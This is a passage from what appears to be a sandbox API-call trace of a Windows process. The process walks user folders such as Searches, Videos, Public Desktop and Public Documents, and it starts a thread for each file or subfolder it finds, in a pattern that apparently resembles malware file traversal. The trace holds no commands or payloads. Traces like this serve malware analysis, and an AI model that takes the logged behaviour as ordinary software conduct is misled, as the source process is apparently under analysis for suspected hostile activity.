ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.032] FindClose (in: hFindFile=0x1cd9cdf0 | out: hFindFile=0x1cd9cdf0) returned 1 [0088.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0088.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0088.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 Thread: id = 303 os_tid = 0xdec [0088.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8380 [0088.035] wcscpy (in: _Dest=0x1b7d8380, _Source="C:\\Users\\Default\\Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0088.035] wcscat (in: _Dest=0x1b7d8380, _Source="\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0088.035] wcscat (in: _Dest=0x1b7d8380, _Source="*" | out: _Dest="C:\\Users\\Default\\Searches\\*") returned="C:\\Users\\Default\\Searches\\*" [0088.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0088.035] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cdf0 [0088.037] wcscmp (_String1=".", _String2=".") returned 0 [0088.037] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.037] wcscmp (_String1="..", _String2=".") returned 1 [0088.037] wcscmp (_String1="..", _String2="..") returned 0 [0088.037] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.037] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.037] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.037] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0088.037] wcscmp (_String1="Everywhere.search-ms", _String2=".") returned 1 [0088.037] wcscmp (_String1="Everywhere.search-ms", _String2="..") returned 1 [0088.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c2050 [0088.037] wcscpy (in: _Dest=0x1b7c2050, _Source="C:\\Users\\Default\\Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0088.037] wcscat (in: _Dest=0x1b7c2050, _Source="\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0088.037] wcscat (in: _Dest=0x1b7c2050, _Source="Everywhere.search-ms" | out: _Dest="C:\\Users\\Default\\Searches\\Everywhere.search-ms") returned="C:\\Users\\Default\\Searches\\Everywhere.search-ms" [0097.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0097.329] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0097.329] wcscmp (_String1="Indexed Locations.search-ms", _String2=".") returned 1 [0097.329] wcscmp (_String1="Indexed Locations.search-ms", _String2="..") returned 1 [0097.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8686c0 [0097.329] wcscpy (in: _Dest=0x1b8686c0, _Source="C:\\Users\\Default\\Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0097.330] wcscat (in: _Dest=0x1b8686c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0097.330] wcscat (in: _Dest=0x1b8686c0, _Source="Indexed Locations.search-ms" | out: _Dest="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" [0097.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8686c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0097.330] FindNextFileW (in: hFindFile=0x1cd9cdf0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0097.330] FindClose (in: hFindFile=0x1cd9cdf0 | out: hFindFile=0x1cd9cdf0) returned 1 [0097.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20900) returned 1 [0097.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8380) returned 1 [0097.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d83c0) returned 1 Thread: id = 304 os_tid = 0xdf0 [0088.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8340 [0088.038] wcscpy (in: _Dest=0x1b7d8340, _Source="C:\\Users\\Default\\SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0088.039] wcscat (in: _Dest=0x1b7d8340, _Source="\\" | out: _Dest="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0088.039] wcscat (in: _Dest=0x1b7d8340, _Source="*" | out: _Dest="C:\\Users\\Default\\SendTo\\*") returned="C:\\Users\\Default\\SendTo\\*" [0088.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0088.039] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0088.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8340) returned 1 [0088.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8400) returned 1 Thread: id = 305 os_tid = 0xdf4 [0088.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c620 [0088.041] wcscpy (in: _Dest=0x1b82c620, _Source="C:\\Users\\Default\\Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0088.041] wcscat (in: _Dest=0x1b82c620, _Source="\\" | out: _Dest="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0088.041] wcscat (in: _Dest=0x1b82c620, _Source="*" | out: _Dest="C:\\Users\\Default\\Start Menu\\*") returned="C:\\Users\\Default\\Start Menu\\*" [0088.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0088.041] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0088.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0088.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 Thread: id = 306 os_tid = 0xdf8 [0088.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c620 [0088.043] wcscpy (in: _Dest=0x1b82c620, _Source="C:\\Users\\Default\\Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0088.043] wcscat (in: _Dest=0x1b82c620, _Source="\\" | out: _Dest="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0088.043] wcscat (in: _Dest=0x1b82c620, _Source="*" | out: _Dest="C:\\Users\\Default\\Templates\\*") returned="C:\\Users\\Default\\Templates\\*" [0088.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0088.044] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0088.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0088.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0088.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8480) returned 1 Thread: id = 307 os_tid = 0xdfc [0088.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8480 [0088.046] wcscpy (in: _Dest=0x1b7d8480, _Source="C:\\Users\\Default\\Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0088.046] wcscat (in: _Dest=0x1b7d8480, _Source="\\" | out: _Dest="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0088.046] wcscat (in: _Dest=0x1b7d8480, _Source="*" | out: _Dest="C:\\Users\\Default\\Videos\\*") returned="C:\\Users\\Default\\Videos\\*" [0088.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0088.046] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ce50 [0088.046] wcscmp (_String1=".", _String2=".") returned 0 [0088.046] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.047] wcscmp (_String1="..", _String2=".") returned 1 [0088.047] wcscmp (_String1="..", _String2="..") returned 0 [0088.047] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.047] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.047] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.047] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0088.047] FindClose (in: hFindFile=0x1cd9ce50 | out: hFindFile=0x1cd9ce50) returned 1 [0088.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0088.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8480) returned 1 [0088.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d84c0) returned 1 Thread: id = 308 os_tid = 0xe00 [0088.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d84c0 [0088.049] wcscpy (in: _Dest=0x1b7d84c0, _Source="C:\\Users\\Public\\Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0088.049] wcscat (in: _Dest=0x1b7d84c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0088.049] wcscat (in: _Dest=0x1b7d84c0, _Source="*" | out: _Dest="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*" [0088.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0088.049] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ce50 [0088.050] wcscmp (_String1=".", _String2=".") returned 0 [0088.050] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.050] wcscmp (_String1="..", _String2=".") returned 1 [0088.050] wcscmp (_String1="..", _String2="..") returned 0 [0088.050] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0088.050] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0088.050] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0088.050] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.050] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.050] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.050] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0088.050] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0088.050] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0088.050] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0088.050] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0088.050] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0088.050] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0088.050] FindClose (in: hFindFile=0x1cd9ce50 | out: hFindFile=0x1cd9ce50) returned 1 [0088.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0088.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d84c0) returned 1 [0088.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8100) returned 1 Thread: id = 309 os_tid = 0xe04 [0088.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8100 [0088.053] wcscpy (in: _Dest=0x1b7d8100, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0088.053] wcscat (in: _Dest=0x1b7d8100, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0088.053] wcscat (in: _Dest=0x1b7d8100, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\*") returned="C:\\Users\\Public\\Documents\\*" [0088.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0088.053] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ce50 [0088.053] wcscmp (_String1=".", _String2=".") returned 0 [0088.053] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.053] wcscmp (_String1="..", _String2=".") returned 1 [0088.053] wcscmp (_String1="..", _String2="..") returned 0 [0088.053] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.053] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0088.053] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0088.053] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0088.053] wcscmp (_String1="My Music", _String2=".") returned 1 [0088.053] wcscmp (_String1="My Music", _String2="..") returned 1 [0088.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c620 [0088.054] wcscpy (in: _Dest=0x1b82c620, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0088.054] wcscat (in: _Dest=0x1b82c620, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0088.054] wcscat (in: _Dest=0x1b82c620, _Source="My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0097.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0097.792] FindNextFileW (in: hFindFile=0x1cd9ce50, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0097.793] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0097.793] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0097.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9cc10 [0097.793] wcscpy (in: _Dest=0x1cd9cc10, 